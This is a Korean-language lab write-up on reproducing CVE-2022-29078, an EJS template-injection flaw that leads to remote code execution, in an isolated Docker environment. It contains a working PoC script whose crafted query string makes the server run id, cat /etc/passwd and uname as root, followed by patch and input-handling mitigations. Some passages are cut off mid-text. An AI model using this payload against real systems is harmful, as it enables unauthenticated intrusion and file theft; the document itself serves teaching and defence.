Share
## https://sploitus.com/exploit?id=A01D937F-E894-5806-B655-B80B915E92F0
# CVE-2022-29078 | EJS SSTI β†’ RCE

> ν™”μ΄νŠΈν–‡ 슀쿨 4κΈ° (32반) - μš°μƒλ²” ([@taka3636](https://github.com/taka3636))



### μš”μ•½

EJS `

### EJS μ†Œκ°œ

EJS(Embedded JavaScript templates)λŠ” Node.js μƒνƒœκ³„μ—μ„œ 널리 μ“°μ΄λŠ” ν…œν”Œλ¦Ώ 엔진이닀. `Hello ` 처럼 HTML μ•ˆμ— `` νƒœκ·Έλ‘œ μžλ°”μŠ€ν¬λ¦½νŠΈλ₯Ό μ‚½μž…ν•΄ 동적 화면을 λ§Œλ“ λ‹€. λ‚΄λΆ€μ μœΌλ‘œ EJSλŠ” ν…œν”Œλ¦Ώ λ¬Έμžμ—΄μ„ **μžλ°”μŠ€ν¬λ¦½νŠΈ ν•¨μˆ˜λ‘œ 컴파일**ν•œ λ’€ μ‹€ν–‰ν•΄ μ΅œμ’… HTML을 μƒμ„±ν•œλ‹€. 즉 "κΈ€μž(ν…œν”Œλ¦Ώ)λ₯Ό μ‹€ν–‰ μ½”λ“œ(ν•¨μˆ˜)둜 λ°”κΎΈλŠ”" μ½”λ“œ 생성기이며, 이 μ„±μ§ˆμ΄ λ³Έ μ·¨μ•½μ μ˜ κ·Όλ³Έ 배경이 λœλ‹€.



### CVE-2022-29078 μ†Œκ°œ

EJS `

### ν™˜κ²½ ꡬ성

```
EJS/CVE-2022-29078/
β”œβ”€β”€ docker-compose.yml     # 127.0.0.1 바인딩(격리)
β”œβ”€β”€ Dockerfile             # node:18.20.4 (버전 κ³ μ •)
β”œβ”€β”€ app/
β”‚   β”œβ”€β”€ server.js          # μ·¨μ•½ Express μ•±
β”‚   β”œβ”€β”€ package.json       # ejs 3.1.6 μ •ν™• κ³ μ •
β”‚   └── views/page.ejs
β”œβ”€β”€ poc.sh                 # PoC μ‹€ν–‰ 슀크립트
└── 1.png ~ 8.png          # μŠ€ν¬λ¦°μƒ·
```

- λŸ°νƒ€μž„: Node.js `18.20.4` κ³ μ •
- μ·¨μ•½ 라이브러리: ejs `3.1.6` (기호 없이 μ •ν™• κ³ μ • β€” `^`/`~` μ‚¬μš© μ‹œ 패치 버전이 μ„€μΉ˜λ˜μ–΄ μž¬ν˜„ λΆˆκ°€)
- μ›Ή ν”„λ ˆμž„μ›Œν¬: express `4.18.2`
- μ™ΈλΆ€ μ»€μŠ€ν…€ 이미지 의쑴 없이 `docker compose up -d --build` ν•œ 번으둜 μ™„μ„±λœλ‹€.

![](1.png)

![](2.png)



### μ·¨μ•½ 쑰건

μ•„λž˜ 두 쑰건이 **λ™μ‹œμ—** 성립할 λ•Œ 곡격이 μ„±λ¦½ν•œλ‹€.

1. **라이브러리 결함**: ejs ` {
  res.render('page', req.query);   // req.query 전체λ₯Ό λ Œλ” μ˜΅μ…˜μœΌλ‘œ 전달
});
```

ExpressλŠ” `res.render('page', req.query)` μ—μ„œ μ‚¬μš©μž μž…λ ₯(`req.query`)을 **λ Œλ” μ˜΅μ…˜μœΌλ‘œ ν†΅μ§Έλ‘œ** EJS에 λ„˜κΈ΄λ‹€. μ΄λ•Œ `qs` νŒŒμ„œκ°€ `settings[view options][outputFunctionName]` 같은 λŒ€κ΄„ν˜Έ ν‘œκΈ°λ₯Ό 쀑첩 객체둜 νŒŒμ‹±ν•˜κ³ , κ·Έ 값이 EJS 컴파일 μ˜΅μ…˜ `outputFunctionName` 에 λ³‘ν•©λœλ‹€. **즉 μ‚¬μš©μžκ°€ μ˜΅μ…˜ μžλ¦¬μ— 심은 μ½”λ“œ(ν•¨μˆ˜)κ°€ μ˜΅μ…˜μ— λΆ™μ–΄ EJS둜 ν•¨κ»˜ λ„˜μ–΄κ°„λ‹€.** EJSλŠ” 이 값을 컴파일 ν•¨μˆ˜ μ•žμ— λ‹€μŒμ²˜λŸΌ μ‚½μž…ν•œλ‹€.

```js
var  = __append;
```

정상값이면 `var myOut = __append;` 처럼 λ¬΄ν•΄ν•˜μ§€λ§Œ, 값에 μ„Έλ―Έμ½œλ‘ μœΌλ‘œ λ¬Έμž₯을 끊고 μ½”λ“œλ₯Ό λ„£μœΌλ©΄ κ·Έ μ½”λ“œκ°€ 컴파일된 ν•¨μˆ˜ μ‹€ν–‰ μ‹œ κ·ΈλŒ€λ‘œ λ™μž‘ν•œλ‹€. 이 μžλ¦¬μ— `execSync(...)` λ₯Ό λ„£μ–΄ **νŠΉμ • νŒŒμΌμ„ μ½κ±°λ‚˜ μ‹œμŠ€ν…œ λͺ…령을 μ‹€ν–‰**μ‹œν‚¬ 수 μžˆλ‹€.



### μž¬ν˜„ 절차

> μ „μ œ: Docker + Docker Compose μ„€μΉ˜, λΉŒλ“œ μ‹œ 인터넷 μ—°κ²°.

```sh
# 1) 클둠 ν›„ 폴더 이동
git clone https://github.com//kr-vulhub.git
cd kr-vulhub/EJS/CVE-2022-29078

# 2) λΉŒλ“œ 및 기동
docker compose up -d --build
docker compose ps

# 3) 정상 λ™μž‘ 확인
curl "http://127.0.0.1:3000/page?id=world"     # -> Hello world

# 4) PoC μ‹€ν–‰
bash poc.sh

# 5) 정리
docker compose down
```

![](3.png)



### PoC μ½”λ“œ

`poc.sh` β€” outputFunctionName μ˜΅μ…˜ μΈμ μ…˜μœΌλ‘œ μ„Έ λͺ…령을 μ„œλ²„μ—μ„œ μ‹€ν–‰μ‹œμΌœ κ²°κ³Όλ₯Ό νšŒμˆ˜ν•œλ‹€. `[1] id`(μ‹€ν–‰ 주체), `[2] /etc/passwd`(μž„μ˜ 파일 읽기), `[3] uname`(μ‹€ν–‰ μœ„μΉ˜).

```bash
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName μ˜΅μ…˜ μΈμ μ…˜) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL μΈμ½”λ”©λœ μ…Έ λͺ…λ Ή (μ»¨ν…Œμ΄λ„ˆμ—μ„œ μ‹€ν–‰ ν›„ κ²°κ³Ό 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] μ‹€ν–‰ κΆŒν•œ 확인 (id) β€” root μ—¬λΆ€"
run "id%20%3E%20/tmp/out"
echo "[2] μž„μ˜ 파일 읽기 β€” /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] μ‹œμŠ€ν…œ 정보 λ…ΈμΆœ β€” uname"
run "uname%20-a%20%3E%20/tmp/out"
```

- `curl -g` : URL λŒ€κ΄„ν˜Έλ₯Ό glob으둜 ν•΄μ„ν•˜μ§€ μ•Šλ„λ‘ **ν•„μˆ˜** (μ—†μœΌλ©΄ `curl: (3) bad range`)
- 인코딩: 곡백 `%20`, λ¦¬λ‹€μ΄λ ‰νŠΈ `>` `%3E`



### μ‹€ν–‰ κ²°κ³Ό

`poc.sh` μ‹€ν–‰ κ²°κ³Ό. 정상 μš”μ²­(`id=world`)은 `Hello world` 만 λ°˜ν™˜ν•˜μ§€λ§Œ, outputFunctionName μΈμ μ…˜μœΌλ‘œ μ£Όμž…ν•œ λͺ…령이 μ„œλ²„μ—μ„œ μ‹€ν–‰λ˜μ–΄ κ·Έ 좜λ ₯이 νšŒμˆ˜λœλ‹€.

![](4.png)

- **[1] `id`** β†’ `uid=0(root) gid=0(root)` : μ£Όμž… λͺ…령이 **root κΆŒν•œμœΌλ‘œ μ‹€ν–‰**됨.
- **[2] `/etc/passwd`** β†’ μ‹œμŠ€ν…œ 계정 파일 λ‚΄μš©μ΄ κ·ΈλŒ€λ‘œ λ°˜ν™˜λ¨ : **μ„œλ²„μ˜ μž„μ˜ νŒŒμΌμ„ 읽어낼 수 있음**(κΈ°λ°€μ„± μΉ¨ν•΄).
- **[3] `uname`** β†’ 호슀트λͺ…이 `326f6f1b04b3`(μ»¨ν…Œμ΄λ„ˆ ID)둜 VM 호슀트λͺ…(`ubuntu-QEMU-Virtual-Machine`)κ³Ό 닀름 : λͺ…령이 **ν˜ΈμŠ€νŠΈκ°€ μ•„λ‹Œ μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ—μ„œ μ‹€ν–‰**λμŒμ„ 증λͺ…. 즉 root κΆŒν•œμ€ `sudo` λ•Œλ¬Έμ΄ μ•„λ‹ˆλΌ μ·¨μ•½ μ„œλ²„ ν”„λ‘œμ„ΈμŠ€(μ»¨ν…Œμ΄λ„ˆ node = κΈ°λ³Έ root)μ—μ„œ λΉ„λ‘―λœ 것이닀.

인증 μ—†λŠ” 원격 μš”μ²­ ν•˜λ‚˜λ‘œ root κΆŒν•œ λͺ…λ Ή μ‹€ν–‰ + μž„μ˜ 파일 읽기가 κ°€λŠ₯ν•˜λ‹€ = CVE-2022-29078.



### λŒ€μ‘ λ°©μ•ˆ

**λŒ€μ‘ 1 β€” 라이브러리 μ—…κ·Έλ ˆμ΄λ“œ (κ·Όλ³Έ λŒ€μ‘)**

`package.json` 의 ejs λ₯Ό `3.1.7` μ΄μƒμœΌλ‘œ 상ν–₯ν•œλ‹€. 3.1.7+ λŠ” `outputFunctionName` 을 μ •κ·œμ‹ `/^[a-zA-Z_$][0-9a-zA-Z_$]*$/` 둜 검증해 μ„Έλ―Έμ½œλ‘  λ“± λΉ„μ‹λ³„μž 문자λ₯Ό κ±°λΆ€ν•˜λ―€λ‘œ, 동일 곡격이 μ½”λ“œ μ‹€ν–‰ 전에 μ°¨λ‹¨λœλ‹€.

```
Error: outputFunctionName is not a valid JS identifier.
```

![](5.png)

![](6.png)

**λŒ€μ‘ 2 β€” μ•ˆμ „ν•œ μž…λ ₯ 전달 (μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ°©μ–΄)**

μ·¨μ•½ 버전(3.1.6)이라도 μ‚¬μš©μž μž…λ ₯을 ν†΅μ§Έλ‘œ λ„˜κΈ°μ§€ μ•Šκ³  ν•„μš”ν•œ κ°’λ§Œ μ „λ‹¬ν•˜λ©΄, `settings[view options]` 병합 κ²½λ‘œκ°€ 사라져 μ˜΅μ…˜ μ˜€μ—Όμ΄ λΆˆκ°€λŠ₯ν•˜λ‹€. 정상 κΈ°λŠ₯은 μœ μ§€λœλ‹€.

```js
// λ³€κ²½ μ „ (μ·¨μ•½)
res.render('page', req.query);
// λ³€κ²½ ν›„ (μ•ˆμ „)
res.render('page', { id: req.query.id });
```

![](7.png)

![](8.png)

**ꢌμž₯**: 라이브러리 μ΅œμ‹ ν™”(κ·Όλ³Έ λŒ€μ‘)와 μ‚¬μš©μž μž…λ ₯ μ΅œμ†Œ 전달(심측 λ°©μ–΄)λ₯Ό **λͺ¨λ‘** μ μš©ν•œλ‹€. μΆ”κ°€λ‘œ μ»¨ν…Œμ΄λ„ˆλ₯Ό λΉ„-root μ‚¬μš©μžλ‘œ μ‹€ν–‰ν•˜λ©΄ RCE μ‹œ ν”Όν•΄ λ²”μœ„λ₯Ό 쀄일 수 μžˆλ‹€.



### μ°Έκ³ 

- [NVD - CVE-2022-29078](https://nvd.nist.gov/vuln/detail/CVE-2022-29078)
- [EJS GitHub - mde/ejs](https://github.com/mde/ejs)